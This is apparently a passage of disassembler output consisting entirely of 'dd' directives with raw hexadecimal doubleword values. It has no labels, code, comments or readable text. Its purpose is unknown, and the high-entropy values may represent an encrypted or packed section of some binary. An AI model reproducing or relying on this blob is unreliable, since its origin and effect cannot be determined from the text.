		dd 0FE53718Ch, 1F32627Bh, 0EEF75608h, 5A68711Bh, 3AE312h
		dd 2EF06586h, 171CEE81h, 17F113Dh, 20D79AB5h, 0B1163F50h
		dd 98768CEBh, 285A3A60h, 0AC212CF8h, 1EFAB597h,	24DEA472h
		dd 559DE49h, 0B2C221E6h, 0BABD54A6h, 253268BDh,	17FCA055h
		dd 5EB06CAAh, 0CD8040C2h, 0A25240D8h, 0F6C51EFEh, 9CF58CDDh
		dd 0EBE01406h, 66AA595Ah, 0B1144493h, 184C0D4h,	5092F180h
		dd 0E1C08BB4h, 95681658h, 82A53746h, 0C6F57970h, 0FE62054Ah
		dd 0F9F5E9C6h, 0F7810B2Bh, 0EFF504CDh, 0ED580116h, 0C9794E48h
		dd 0C5C2FB01h, 7DC90889h, 3657C12h, 0C4FE2DB4h,	3B019380h
		dd 0F4053D06h, 0D413E98Eh, 9BB1BAF4h, 0F4F2E27Bh, 0EB89FEEDh
		dd 2D2DE341h, 0E0C10BACh, 0D698003h, 90964E0Bh,	19D44D4Fh
		dd 5233A75h, 0E9339DF6h, 0E47C0EE2h, 7A25BD14h,	0A91B712Eh
		dd 7C286843h, 45944B79h, 0F861C905h, 40FBD775h,	662D5EA6h
		dd 270A532Eh, 705F029h,	7F25712Eh, 512706C7h, 0D44265Ah
		dd 2B2A1A08h, 108F62AAh, 382C4016h, 0DEA56F62h,	769B552Bh
		dd 793D2117h, 0E9DE3CABh, 0D5D0A65Ah, 2EA96CC2h, 10B16B58h
		dd 0F8881DF6h, 52F099CBh, 73549523h, 6A0FFDA4h,	0C144EE2Bh
		dd 0FD3BFAF3h, 0E112BB3Ah, 0EB939FE3h, 26E9CDC8h, 623825ABh
		dd 0A642525Fh, 0EE8311DEh, 7F87069Fh, 58BA4090h, 0B9777ECh
		dd 91655707h, 4080DF97h, 751D0F6h, 0C1809EB1h, 713BD2A6h
		dd 0A32709D1h, 0F1E1F7DDh, 0B47D6F37h, 0B10964C9h, 0BC036887h
		dd 0B513F195h, 0A080D537h, 4805719Fh, 0EB008807h, 50467303h
		dd 220FA2B8h, 0EE401C43h, 2ED604Ch, 0B131035h, 0E8E964E6h
		dd 0D6A9C8C3h, 770AAD03h, 0E916DCBCh, 0D5D2062Ch, 682C6151h
		dd 604F1820h, 24C19DAAh, 2EC47744h, 0FF133E76h,	0B7404344h
		dd 7C44E7AFh, 8DA3C924h, 0D65C5F64h, 4B8DBEC1h,	8118B77Bh
		dd 1BCDE95Ch, 674FCB9Eh, 0F51A30D1h, 98075F7Bh,	8372C45Dh
		dd 0FF3D94Eh, 309A9ACh,	1E131D7h, 38C79881h, 226348B3h
		dd 0A130C30Fh, 609E6882h, 0CBE66566h, 2C827797h, 0DDEADF7h
		dd 4DBB6072h, 5BB42762h, 0EB82615Eh, 604B9DB0h,	973F7BDDh
		dd 572DA544h, 0A6044554h, 3BBE0447h, 0DBF9C110h, 770502A5h
		dd 0BF4984ABh, 62C801ECh, 680BF623h, 761A12D6h,	0A1A91302h
		dd 0DF1792DFh, 0AA98DD78h, 7918266Bh, 1A6841DEh, 0D78B2C53h
		dd 17B084AEh, 0D380AECCh, 9617F2E9h, 66838922h,	695AD35Fh
		dd 524B23FAh, 0A0920FEDh, 0DB9DD0B6h, 0E9C88235h, 0AF9030CCh
		dd 0C2007637h, 49D52D2Bh, 2CE9518Ch, 0AD513A07h, 0D20434CAh
		dd 15F6AF82h, 53EDF44Ah, 0CA0C1744h, 1184C116h,	4429190Dh
		dd 76257845h, 0EAA56578h, 0FD7F6F2Dh, 6168C4C1h, 2134DAAh
		dd 0C58B3B91h, 30248F5Fh, 0E99C06D2h, 0F2A34F46h, 2BF503ADh
		dd 0E98DD9D0h, 5F3BE5BFh, 0EE4E7CDEh, 0BD1E313h, 0B82ADCBFh
		dd 4EFE8404h, 4896A3EFh, 94C7036Ch, 3F4FBD5Eh, 3C9F6B0Ch
		dd 95EF0278h, 0C4C05814h, 0BA5452CFh, 0D6C8D708h, 0F4F18124h
		dd 862A0652h, 68D36F86h, 354A25BAh, 0A4C98FD9h,	61C05FB7h
		dd 584A3C20h, 2502AA47h, 701754C5h, 5F88F881h, 0E277FECBh
		dd 2BD6112h, 3E741882h,	0B8574606h, 69ECE91Fh, 455F7212h
		dd 7F5C2FF6h, 2E1E9E1h,	127D8F3Bh, 0B7BFF0F8h, 9B5318ADh
		dd 5E8EF33h, 0C17EB364h, 0E790FFE7h, 0B6BBCF0h,	67E9FE29h
		dd 24604B42h, 0C595EA0Ah, 9D68850Eh, 57B18C46h,	0B426FB90h
		dd 0D14B565Fh, 0ACF916FFh, 0E2EC4AE7h, 0D1D468B3h, 2E7DE977h
		dd 0A3EA1D85h, 8B68C24Ch, 753BA936h, 0B90F39DAh, 7621DBABh
		dd 8568F3C0h, 0BFFDC471h, 0C680048Fh, 7FF08FC2h, 66833EC5h
		dd 0A40AA868h, 0B753F890h, 26E6B6AFh, 16261C28h, 4B2A1DE3h
		dd 5E5E5866h, 0D85B011Bh, 0F4CB2835h, 0F8934BB9h, 5557806Ah
		dd 754E6EBDh, 0CD810329h, 65880F44h, 397DBFE8h,	0E96DBB09h
		dd 5644E242h, 0D0938879h, 75E2B509h, 59502E3h, 0A43272B2h
		dd 61499A9h, 5E262E7h, 9DBE0CA1h, 0DAA5D317h, 0E6480CAFh
		dd 0E54B0DE9h, 0D8498CB2h, 7C62709h, 0D89D7416h, 7E9506BBh
		dd 0E450364h, 0D559B10Ah, 0D610A9F4h, 299EB802h, 45F0824h
		dd 0AAA848ADh, 8121BF5Bh, 0C56947A8h, 0FB7A6500h, 41CA8149h
		dd 304E0B7Ah, 9230D6FFh, 18482A2Fh, 812BA53Fh, 55C0F852h
		dd 0B460E296h, 0C06D930Eh, 74323B38h, 0CD25E90Ah, 6D9B9814h
		dd 9652F52h, 0E7810077h, 5E1D457Dh, 0B0BBF826h,	0BE1888E9h
		dd 0F851E4EDh, 5A440903h, 50A20161h, 0F894E864h, 0E125CBDFh
		dd 53F5DDC2h, 0F0722DBAh
		dd 78550882h, 0AB10D212h, 0AF4A22CAh, 2BAF3217h, 7CB24A6Dh
		dd 89FA3FC6h, 5558C216h, 0BFF20808h, 8937FB8h, 58BBB0AFh
		dd 2A439CA1h, 0E90997CAh, 0E9D678BBh, 0F11D2EC2h, 1F4389ACh
		dd 56914296h, 75C69062h, 0CE9336FBh, 9FE801FAh,	6C23FA1Eh
		dd 0E8D103B6h, 280613E9h, 2BCDAC5h, 1E783DC6h, 0CAD5EA81h
		dd 0EE0DF6Eh, 5D80A085h, 0FBE4B093h, 56B885C3h,	3AC5E9F1h
		dd 0DC88AF05h, 5B1D0CA8h, 53F4DE50h, 367709E1h,	4F9E1E55h
		dd 9225EC51h, 0D327E1A8h, 0ECEF13C9h, 3A5BF413h, 8C51F121h
		dd 0CA13FA05h, 3E6DB9B1h, 25F9BE10h, 0E315DF58h, 77EB2EACh
		dd 53D4B46h, 775097A4h,	704C0A1h, 0F510BCF6h, 0E234813h
		dd 924AB268h, 0ACE6B223h, 820174BEh, 0BA680749h, 0FB9F08A3h
		dd 0CC993F64h, 2F1A9121h, 0B703A2A0h, 5BDF5F68h, 0C19153B5h
		dd 647774E9h, 4F550CE9h, 6B7CE02Fh, 0FFD6BE1h, 3A0169E1h
		dd 5CC00841h, 806B3755h, 34F3818Fh, 363E4D16h, 68EBA02h
		dd 0CB1F4054h, 56590CF2h, 98B24B43h, 215CD0AAh,	845BDA0Bh
		dd 3480C2E7h, 76B47349h, 0F83EF119h, 2158179Fh,	0C009F600h
		dd 0B9B782E9h, 8952E112h, 24C46ECAh, 0E5044AF7h, 84A066BFh
		dd 4E56857Fh, 1CB7FE21h, 497D20FFh, 37747159h, 75E49831h
		dd 0AC2FCCB1h, 15E9E19Bh, 8475A22Bh, 0CEC525Fh,	48CE5A8Dh
		dd 4C5AE9A7h, 0BE92D7F9h, 2CE9839Ch, 51CA6EA2h,	0E4616959h
		dd 7F868882h, 608BE6EAh, 29A4AF7Bh, 0BD48058Ch,	0D4154B90h
		dd 5BD8E9F5h, 79E49587h, 5ECB560Eh, 449DD518h, 19658CFEh
		dd 0A2A8CDC3h, 70E71A08h, 0F6627200h, 4A46E968h, 6FBCF52Bh
		dd 0A322894Ah, 55D2B4A4h, 0D8AD6CFEh, 53381242h, 37B0EA21h
		dd 25859CCBh, 68E117D1h, 0CB766CB5h, 7D78582Dh,	365E5427h
		dd 0CAF92911h, 8C34BE3h, 0C5F80679h, 874D9B0Bh,	30FE744Ch
		dd 66E4139Fh, 2930E924h, 0A692FDADh, 0D61EBF74h, 0BAB5EBA7h
		dd 3BEEDFAAh, 0D412382Ch, 0FE1C3640h, 7E689D4Eh, 41133FEAh
		dd 0F7F11B01h, 243EA8DDh, 5BD28054h, 6250B520h,	0DE94129Ch
		dd 5E52A62h, 2453F821h,	7669E41Ah, 6CD75863h, 4B54CE9Dh
		dd 1729EA5Ch, 61F1E42Fh, 848E3348h, 0ACEF0E95h,	18A33AAEh
		dd 660C1556h, 266F0669h, 6B77E668h, 5441CABDh, 7630036h
		dd 0E7C10F02h, 0D4F980BFh, 5061706Dh, 0EF5D94Eh, 0E9772129h
		dd 0DE7D52D6h, 0EDA85AF7h, 650E9A0h, 924CA097h,	9F2EA21Fh
		dd 4057915Dh, 0EBE6906Ah, 28247016h, 1B04AD42h,	5BC10D52h
		dd 53002F91h, 0F795048Bh, 104B194h, 5198E9C5h, 77E80492h
		dd 0AF440E84h, 6F1838E7h, 0EBC11659h, 42FA0378h, 53F1A5ABh
		dd 0FBAC2BFAh, 0CFF3BAE4h, 3D38B717h, 0F0296B48h, 20EC102Eh
		dd 570ABF97h, 4B92C606h, 0F57C03BBh, 3BDFE35Eh,	5465A2DDh
		dd 39DE5DD1h, 2EB812BCh, 4E6F2AABh, 31024BECh, 893D2320h
		dd 0DF98AADAh, 30EBFD4Ah, 0FEFAA21Ch, 1E9013D0h, 0EACCBAB5h
		dd 6D128C5h, 0F7CE87E6h, 0A0FA08D9h, 0A4CA2B5Ch, 0BC81A295h
		dd 340701BAh, 0FB3084CFh, 31E99E94h, 205AE84h, 59112268h
		dd 32D09F6Dh, 0E15DB38Eh, 843EE239h, 0B6B2FE64h, 3EA268F1h
		dd 0D7B6AAD1h, 0C8D95B03h, 7F178809h, 0AA5A1779h, 73F059C9h
		dd 2436A07Bh, 0C447258Eh, 8C883542h, 503B62FDh,	698059CAh
		dd 0C7364AFCh, 0E2A47197h, 0F65E11BEh, 57955862h, 7CCFC1DEh
		dd 8A68F930h, 0D8F267Eh, 81DE00BBh, 383EB9E6h, 0F6621C76h
		dd 7C4FC592h, 0B5E70894h, 6673B604h, 6BECDEB1h,	3B1FB231h
		dd 394AEC68h, 4C907A52h, 99A2E4E9h, 6B820F25h, 0E8FF65ABh
		dd 3B6CEB0Dh, 97568C4h,	2531651h, 8A06D54h, 7E1458D1h
		dd 2509E47Ah, 65D32956h, 0BD002838h, 4DF16268h,	0DA5C821Eh
		dd 1725A5CCh, 61FE97C3h, 7D9A53Dh, 48645429h, 9B88CB0h
		dd 691225A8h, 0A29E09DFh, 18DC250h, 0CEE83059h,	1250C977h
		dd 82C1D83Eh, 0A681540h, 2D6B6DEAh, 0C448ADB6h,	27286906h
		dd 7202882Bh, 31184F50h, 78A3E2CEh, 0ED6495CAh,	0A2885B20h
		dd 0C9AF7FC6h, 85DA8D6Bh, 0B958C601h, 10D97826h, 60567270h
		dd 0A1C33307h, 0DB4F6BB4h, 403340BFh, 2AF7DF05h, 57C3B04Fh
		dd 3C1B7ACCh, 6D1252D1h, 0AE7D5039h, 0BD65F302h, 49FDEDB9h
		dd 15C4E7B6h, 0A020E540h, 97CEB6Bh, 170F11DEh, 72358CEDh
		dd 618B781h, 1C03BD00h,	3222758h, 525767F5h, 3E0C001Eh
		dd 0E92A247Eh, 6C976602h, 0E9F9B566h, 1E25AC8Dh, 0EFB49968h
		dd 0C63818A3h, 0A526EC5Ah, 0BD1A17FAh, 20E9B099h, 6423DA7Ch
		dd 7D5B70FFh, 7992D5Ah,	2009C12Bh, 84F402DDh, 8CB27105h
		dd 0EF41D234h, 5443200Bh, 0FACD0412h, 0CF6309AFh, 33A965A9h
		dd 0FA48F957h, 7BF63F41h, 6809DCF7h, 30D7592Dh,	207E19F9h
		dd 709B0AB2h, 0B084BE1Eh, 1B822251h, 72C05EB6h,	0DF29A830h
		dd 29EBB1D4h, 5983C250h, 84560368h, 0F4E4ECEFh,	9662AFA2h
		dd 6A406071h, 0D997C601h, 70E03ED2h, 3CE552A1h,	0E964895Ah
		dd 0FFA581EBh, 30FF590Ah, 0A49C5A0Ch, 0C973BB00h, 5B01709Eh
		dd 820765DAh, 9B43FFEFh, 9F5A5DB1h, 2609CFECh, 7130DEBDh
		dd 5F253853h, 0FAB527B8h, 0FA1294A6h, 6B92EE47h, 0A94F63C1h
		dd 0F42B5B38h, 0C9AB767h, 4FDFBA1Eh, 0D6B06616h, 24CD5E1Eh
		dd 323DBEDBh, 6228EA3Eh, 30EC4E50h, 0BD368ADh, 94B7C2ACh
		dd 0E0F0C9FFh, 0F4954DC4h, 0D0F7092Fh, 0E9C2F25Dh, 9C737070h
		dd 53590E48h, 6CD862E9h, 0BEFC7B9Fh, 0F719BC93h, 0F57551A5h
		dd 3B3A7871h, 0F2818187h, 777E4F31h, 6FF50C8Bh,	0D029A980h
		dd 3A4E6CE9h, 4E7889F2h, 3C7CBD2Ah, 36F465C6h, 490AAEC2h
		dd 6370F745h, 5C0773EFh, 0DD13B4E7h, 0E71BACB1h, 0FD1AEEE2h
		dd 0F6590C22h, 8CBF86C0h, 55474613h, 0D8EC50Ch,	2F0A9031h
		dd 847190D3h, 0C94E183Ch, 9042DAC9h, 9CE44F58h,	0B41F501Eh
		dd 340C009h, 0F480D4F6h, 71EFE69Ah, 75E77828h, 6E1590C7h
		dd 98C45D6Bh, 20A5AA1Ch, 4AC7430h, 0C11EDF5Ah, 0FA7983E2h
		dd 809D7EBh, 29D5C7E9h,	788DD4D3h, 11C096E9h, 0F17AC52Dh
		dd 0F829142Bh, 74640705h, 0ECB112D4h, 532E2CE1h, 0EE50008Eh
		dd 6FD24706h, 0D17D990h, 49193042h, 0B2E8909Ch,	0D6E92F76h
		dd 0A5B61100h, 51E5B968h, 80BFD4B4h, 2D404818h,	5F2AE558h
		dd 11AC042Eh, 8BC1793h,	49560809h, 69D5DE03h, 0EDD1181Dh
		dd 8BC93D3h, 5339E75Ah,	0D55627CBh, 89B94F6Ch, 0A0FF0545h
		dd 9B59E959h, 3552C3Ch,	0BE1F76A7h, 0E477D0A5h,	653CF053h
		dd 0EE5D1032h, 0CDF17A40h, 0A04F4229h, 0A195AA1h, 2DC80172h
		dd 0E0A12007h, 5F58247h, 9C804B06h, 0A03C7332h,	0B75DBDF2h
		dd 83C1DC93h, 409D3659h, 824DC9h, 69270ABFh, 0D629243Fh
		dd 5B08207Eh, 0E97FC05Ah, 20912C80h, 9AA2038h, 36AB685Fh
		dd 15894871h, 980D440Ah, 2CD0130Bh, 0C97D1F52h,	0DD748D27h
		dd 80038650h, 790BDBB9h, 70D119F6h, 18F769D9h, 568ACF00h
		dd 0E6C1084Ch, 742E1B91h, 19CA0C82h, 8BD52069h,	69A05F09h
		dd 5C0B54D1h, 1A585A2Dh, 5011C260h, 20719FF9h, 6642BEEAh
		dd 0EEB8C45Bh, 0B6AA0Ah, 37DAED8Eh, 23CCBD8Ch, 0E340C80Bh
		dd 0E5607F36h, 0FB4A68F3h, 46D44DECh, 44BDC220h, 240CE60Bh
		dd 18485139h, 0ACC76391h, 0CE011C37h, 8E5086Bh,	2E575809h
		dd 9AEA6C1Bh, 4555852h,	5AF28D10h, 631D9CA8h, 4655E794h
		dd 60AEF66Ah, 0FD6816DAh
		dd 723B8C75h, 259725Dh,	528A8131h, 0D0F4013Fh, 0A0EAB172h
		dd 8B3220DFh, 0F34CF2EAh, 0ACAC4F67h, 3E74391Fh, 0A4807DDBh
		dd 27027B62h, 8B159E61h, 41EBDEF3h, 9F2B3CC0h, 0B10CCA70h
		dd 0FBB540Fh, 18872356h, 0E95F9144h, 30CBDE16h,	5F1A0A3h
		dd 3B04287Eh, 8100EDC1h, 2D3647E5h, 8C24E96Bh, 77523D1Eh
		dd 3080BA07h, 0DBF8E96Ah, 5D12749Ah, 0DD205B5Fh, 3E9F5472h
		dd 0BF855975h, 815D6385h, 64202BA5h, 0BEB0C10Bh, 8044EABDh
		dd 6487C939h, 0AE195BCDh, 0FF298122h, 5B6D45A0h, 80954465h
		dd 49AFE5A8h, 52315CEDh, 4023901Dh, 0CB054011h,	4118FA33h
		dd 0F558C529h, 0C287776h, 0F70DE92Ch, 24134457h, 52BB5808h
		dd 0F5551761h, 7F89282Bh, 4AEFCE97h, 4A44A344h,	2B41F229h
		dd 0EC04A7D1h, 5A7A4816h, 0B649DBA8h, 64C48741h, 826F4F10h
		dd 66FD4F63h, 5B0B9819h, 1017B2FEh, 52092991h, 91C35968h
		dd 36741DDAh, 1AA5B803h, 0E0D1E821h, 6DBA0B05h,	0A2755DAFh
		dd 5D6AF40Ah, 0AA78F774h, 3FAFB2F2h, 653D32D4h,	3048CA19h
		dd 0BB3A204Bh, 0D0D5433Eh, 640249D5h, 0C4E9105Ah, 0F2F8C816h
		dd 1537302h, 0DCBE5661h, 2E6B6A59h, 851F88E9h, 11CD064h
		dd 0B8C5D01Bh, 0C57B99E9h, 0DF8BAB77h, 0C12C495h, 0EA6BF7Fh
		dd 0C088E25Fh, 22BD2973h, 0EFD1304Fh, 803B115Eh, 253E6248h
		dd 28C7D5D4h, 97C77DA5h, 893365A5h, 8D141A11h, 0C68A98B7h
		dd 8FD1A870h, 644A001Dh, 16820548h, 4E95013Bh, 0FCA39556h
		dd 57273AC1h, 9D1666EDh, 94E92222h, 5C827CCAh, 675D5BDEh
		dd 0E23E1ED9h, 881BC097h, 0F8505AD5h, 284B11Ah,	0E9188816h
		dd 0CF83797Dh, 13112541h, 2F2691C0h, 0E26D4D24h, 0D23B050Bh
		dd 21621C0Bh, 0D529C991h, 0E41803D0h, 0C16EF144h, 69770223h
		dd 0DF82E905h, 684CF8DCh, 0A0EB889Ch, 5BBE5513h, 81326D4h
		dd 25072808h, 68D390F7h, 0E9784F2Ch, 511F93BEh,	0E53014B1h
		dd 3AF6ECC8h, 523F86DDh, 0C499D32Fh, 64EC615Ch,	0DB58F770h
		dd 0A5120088h, 0DF018713h, 0E51958Bh, 0C6E73442h, 0A1D6B7D0h
		dd 4DAA6885h, 356DD8AAh, 2D22E324h, 9168E001h, 42DA2952h
		dd 0CB080C87h, 0F9E91258h, 0A112F88Fh, 0F67A250Dh, 0C04D2F3h
		dd 5E02C019h, 995E022Dh, 0EFAF1C9h, 486951D1h, 0F69320F9h
		dd 0E9E620AAh, 58123B8h, 5A12A43Bh, 0E8D0F724h,	257B7102h
		dd 0A322DDFAh, 0D00926F3h, 275595D3h, 6A5B23EFh, 308F60B6h
		dd 62E5B414h, 0A6F48609h, 622A9982h, 0CD805D3Ah, 9BEC0B5h
		dd 4DE9FB3Ch, 3FB6077Ch, 0F426E630h, 0D4F61E08h, 0EE800486h
		dd 241FEE01h, 312EECE8h, 0E9F04B2Eh, 12D595E5h,	9EA58016h
		dd 0FC397E77h, 1E445C9Dh, 80209382h, 0F9F8827Dh, 119DC929h
		dd 0DABF8E55h, 0CCE90B48h, 9DF7C4A3h, 0D5972FECh, 29BF1D9Eh
		dd 10E67DC5h, 0F6823ABDh, 65E989F8h, 0C3B94440h, 44C00C16h
		dd 0C64FFE00h, 529226Fh, 0D18959CAh, 658CAF5Ah,	193C30E9h
		dd 16D8CEE5h, 0C33D1528h, 7FD8913h, 0C4EECC00h,	242E685Bh
		dd 205BFE29h, 0E95F0B08h, 6627FB42h, 0F02874EFh, 0D326F6B4h
		dd 32C3F88h, 32020B12h,	0F7DDE943h, 72E2A0A7h, 945D750Fh
		dd 0A5CE0533h, 806EF326h, 5C55170Ah, 57782567h,	21245850h
		dd 8E913F0h, 6478EE06h,	40B9D77h, 998C5EE5h, 0FC57D23h
		dd 6FFB776Eh, 0BFDAE665h, 0BAEDC699h, 0CCB283Ch, 278C6677h
		dd 0F59D5A54h, 4E7EA32Fh, 0D2892A61h, 125D76C0h, 0F7FEF81Bh
		dd 0CBEA4B04h, 0D3C85A67h, 2CDF242Fh, 0FFE809E1h, 4821F87Fh
		dd 4A38D007h, 24E0B4A5h, 49027941h, 15262D61h, 4DDF8203h
		dd 9338F1C3h, 118FEA2Fh, 1A3C6809h, 0DF5DBC46h,	585A2DD5h
		dd 3E4AFEBCh, 0BF920FFDh, 7398FFA8h, 49DBB55Ch,	4F1B4E0Ch
		dd 7CA0C0E6h, 350DC576h, 8B0B786Bh, 963455B4h, 3539C89Fh
		dd 0EC075E5Bh, 7749B246h, 8A476F4h, 3456F413h, 0E7CC71AFh
		dd 68560073h, 9F0D13D0h, 3C680E0Bh, 3E5918D9h, 0C731A90h
		dd 4E2C246Dh, 0AD30255h, 4F400632h, 0FB2D04AFh,	3F95F4B7h
		dd 2100C1CCh, 7E05383Eh, 41515227h, 13AF44E7h, 0D881FE08h
		dd 776F6F5Ah, 0F6B2BEF6h, 2BF058B6h, 5640D02Bh,	12B26853h
		dd 0EA0EB57Dh, 48C41DF2h, 8414E22Ah, 5B0BDEF3h,	5303CF78h
		dd 0C80770BBh, 0F4D3FF22h, 0E3FAFDFEh, 1991023h, 20C0B407h
		dd 0A945E3E5h, 5E681209h, 7A00FE5Fh, 6805ACC7h,	47D83374h
		dd 1FD465E9h, 0EBEA9429h, 0B8F66712h, 0FD0A3B16h, 0CE899ECAh
		dd 0C08BF655h, 4D5C2AEEh, 6E83290h, 1293F05Ch, 77FA7DB9h
		dd 0DC9BF80h, 448248CAh, 0E4C24608h, 5E61F10Eh,	2069B34Ch
		dd 25192804h, 0B798E3A2h, 2DB45000h, 2014BBF9h,	0F8BE4FBCh
		dd 5EF28189h, 2C3ED029h, 0FE0C2DADh, 221F3D21h,	6007A205h
		dd 0C0C84BE4h, 8B7AEF95h, 0F6F64EDCh, 0BAF169Eh, 9E41DFBFh
		dd 0B8F66EF8h, 1B492193h, 58F82ECAh, 5D018885h,	7C42A5EBh
		dd 0E53CF475h, 50D0F860h, 1473343h, 9A47915Ah, 0FB8204E1h
		dd 40C8C269h, 766EB567h, 55DCAA30h, 0C0BC95C0h,	0C83A2D81h
		dd 789CB24Eh, 133C54A6h, 0D2E8BD95h, 1FEF20C4h,	74EE218Bh
		dd 73B10283h, 3A61753Fh, 0B95420F0h, 42346E07h,	5E61BD0Ch
		dd 0A9306DD4h, 0F47317B3h, 0CDC8FC25h, 89300C83h, 52B1175Ah
		dd 7BA2BC49h, 37E52E24h, 0F94C25CFh, 0E1133FD2h, 5B01B72Dh
		dd 0BA218B87h, 204046B5h, 17A2372Dh, 1DEAD155h,	0E7F7DC34h
		dd 5649297Eh, 0F5107358h, 0B11CFD5Bh, 7DCB1E78h, 4651232Dh
		dd 7E025704h, 6595D2BBh, 8032C161h, 9394840Ch, 48B7E960h
		dd 21A2FBF6h, 5A5F2CC2h, 0BD4B4E7Bh, 0CEDF2ED9h, 11CD80A7h
		dd 0E587264h, 3F2CB9BEh, 0A1D631C5h, 5B512060h,	0E0105A83h
		dd 1618EE46h, 4A0C0F38h, 9E9E486Dh, 7A52C325h, 0F7038B2Dh
		dd 0CEC66531h, 0ED819C60h, 2377500Ah, 1F16F721h, 0C5E3A940h
		dd 0EC74325Bh, 3A437CCBh, 870D7DEFh, 8F064DEBh,	8B2CAE6Eh
		dd 20C1002Eh, 507CA813h, 0A0EA8C01h, 5FADE908h,	6AD6D131h
		dd 0C4312F27h, 0FA0569BCh, 7172D12h, 0F2AE9FC5h, 0EB1CC226h
		dd 8C397FFEh, 0CFE63B5Eh, 0D370BF95h, 52DAE38h,	0B55E78F8h
		dd 1187E25Eh, 51E2F8DFh, 45FC8489h, 4D3AC3A8h, 0B42FE7F2h
		dd 5012E3E8h, 1708A339h, 0AE5E1733h, 0F7D8F789h, 0EBA513BBh
		dd 0A3B8BC1Bh, 80E75E76h, 0A642AB36h, 0DF8AE0BFh, 6DB89DCBh
		dd 5473535Bh, 0E957098Ch, 0C5D759C6h, 871ABF0Bh, 0D964F2EAh
		dd 4F18C538h, 0D75C2DEFh, 0DE2BED5h, 0F10EE985h, 0AEF72F2Ah
		dd 0A7CBFB93h, 3011994Fh, 41128C0Bh, 29002BD8h,	0B1463DAh
		dd 0A4DB4AF7h, 0BC962F3Eh, 0EFC05C01h, 26FC8003h, 5FF94988h
		dd 6411CD48h, 72C12586h, 62CFBC01h, 1C515851h, 0E117E989h
		dd 62A756A8h, 872D12D7h, 94FA3D48h, 6C7D046Fh, 0DC84FEB2h
		dd 9C2DEC28h, 1DE0E8D2h, 0B8749D5Dh, 372090A5h,	4E968055h
		dd 46257FE5h, 56FF81FEh, 5C680284h, 5225BDC3h, 53AC4900h
		dd 42846B7h, 0B40F039h,	0EA803F59h, 880727F9h, 0D597957Ah
		dd 0E9172A9Ch, 29EE605Fh, 26DAF39Fh, 0A25BC57Fh, 93B40E86h
		dd 4EF306E9h, 0ECE56CB9h, 9971BD13h, 0ED85EAF2h, 0AF167EE9h
		dd 0CD3088CDh, 8F7B9D0Fh, 542FBE2Ch, 567043E7h,	315F5375h
		dd 5B266E8Fh, 5C771C84h, 0E94AC225h, 3D5B0E66h,	3B09E3ACh
		dd 313C5714h, 25E909C4h, 4F01A2F0h, 0D239EAF3h,	3238FB2Eh
		dd 26809D6Bh, 686461BAh
		dd 63217D25h, 0F029A5Bh, 464550A1h, 33AF304Fh, 8B07309h
		dd 83D9FE01h, 9A8AC2Bh,	0F977D58Ah, 0D01663Bh, 2E8761E9h
		dd 877920EBh, 6D74FFDh,	7305F181h, 1224B900h, 0BB50560Fh
		dd 0AFA9A4E0h, 60739DFEh, 101638ABh, 84BA79D9h,	5B080987h
		dd 0A608F1F1h, 68AC0235h, 18553CA7h, 2A51EC34h,	0AD846E9h
		dd 0D730C5B7h, 0F86BEF63h, 33448F74h, 0EE4B99E8h, 0E83EC681h
		dd 38C1C234h, 43BB5C2Ch, 4DC3C903h, 183A3BDCh, 0B72B029Fh
		dd 0EE9C90E9h, 0DD182D06h, 809046E4h, 4A987220h, 0BF2DEB21h
		dd 4D58FB2Eh, 0D219A1C0h, 92E1A941h, 0B3512FB0h, 27F1A72Ah
		dd 5B4E388h, 81B6C180h,	0BB28B046h, 20580960h, 0C6D100CEh
		dd 40EAE9F7h, 8B84208h,	901C760Bh, 5FC442ABh, 24DB37C1h
		dd 0B626529Ah, 0C8EE3472h, 262D280Ah, 0AD9D2939h, 0D81046DCh
		dd 366FA1Dh, 0C230D0F6h, 46950996h, 0B5E9302Eh,	15BE5653h
		dd 76287D00h, 4C5BE681h, 0BD275F5Dh, 39DC62BEh,	80530465h
		dd 6866B824h, 0BE60FC1Dh, 84BE0B34h, 0E0EB39h, 11D4B5C5h
		dd 3AE2E905h, 0B16931FEh, 48DE6301h, 607D25AFh,	366B2D5h
		dd 0C06AE280h, 0F2B105EAh, 9612999Fh, 0E0FF470Ch, 5FD7883Fh
		dd 6869A05Ah, 0E3E15C5Fh, 5A0CB62Eh, 317C4CE0h,	1BC2C0FEh
		dd 1629769Bh, 8B3CDC1Ah, 75B82568h, 1970059h, 17DE7EF8h
		dd 3199AF49h, 747C6288h, 4EAE6816h, 0D18F5A16h,	0E994FAA5h
		dd 754D27B5h, 3A16F19Bh, 0F44A12A9h, 6E03AFD7h,	0EA41A42Ch
		dd 0B87278D8h, 36F595F7h, 60BE9678h, 0E1685954h, 0A3F61454h
		dd 8B6BB748h, 64B27F5Bh, 0E9188080h, 0FF4B4247h, 7FDDDFFEh
		dd 3E8424Bh, 0AB57C32Fh, 16171C0Ch, 3748E1E9h, 0E8FE8489h
		dd 5C2D2D0Eh, 0EE12BD77h, 0C094AD06h, 0E11B5AB9h, 0F06EF14Bh
		dd 0F5827C29h, 684E7FE0h, 24BA9E4Bh, 0F9B0005h,	0BD7EA842h
		dd 6F7B5409h, 302250D2h, 0B497AFE9h, 0E161307Dh, 0FEF36814h
		dd 0E7748957h, 0A8B9DE95h, 5D584C78h, 3909E9B7h, 994515Fh
		dd 0D9755450h, 42546904h, 6BE18060h, 4BE69266h,	0BEBA230h
		dd 454DD0E9h, 50743063h, 2355DD68h, 48ADDE1h, 0F1469FC7h
		dd 96D59DBCh, 0BBE926D4h, 6DAFA0C2h, 32610D01h,	5768C469h
		dd 0EE4FF1E3h, 877A1869h, 0CD84850Fh, 485EE01Ch, 668E7CBEh
		dd 0D177E13Eh, 0C1C64DE5h, 0D86E2A8Ah, 0B5F7AFFh, 3A840174h
		dd 9C18DAA1h, 4E9F2568h, 2682F279h, 7F28FF2Ch, 82373101h
		dd 0EA173E2Bh, 7D1253C7h, 0B4D45703h, 8402C4CCh, 0B4DE971h
		dd 0FE8706AFh, 9808D7F7h, 4C030C7Ah, 1F0C197Bh,	48173813h
		dd 17E028F4h, 84C982A3h, 0EF1385A9h, 13AF53D8h,	0F07A617Bh
		dd 594F2A63h, 0F11336E3h, 38F2E9A7h, 74FD3DE4h,	15EACA52h
		dd 0A36FBDh, 9F3E32EAh,	0B8FA010Ah, 8B08800Bh, 0E996BF3Ch
		dd 482B9784h, 0E961E564h, 0D56ED257h, 0E1B0BF47h, 9F1B7811h
		dd 131FE8E3h, 97AC07F4h, 0D02A5D19h, 13E02090h,	5E16C305h
		dd 6B1BCC09h, 61FAB9BCh, 1D7CC723h, 194629BDh, 0E5DD4245h
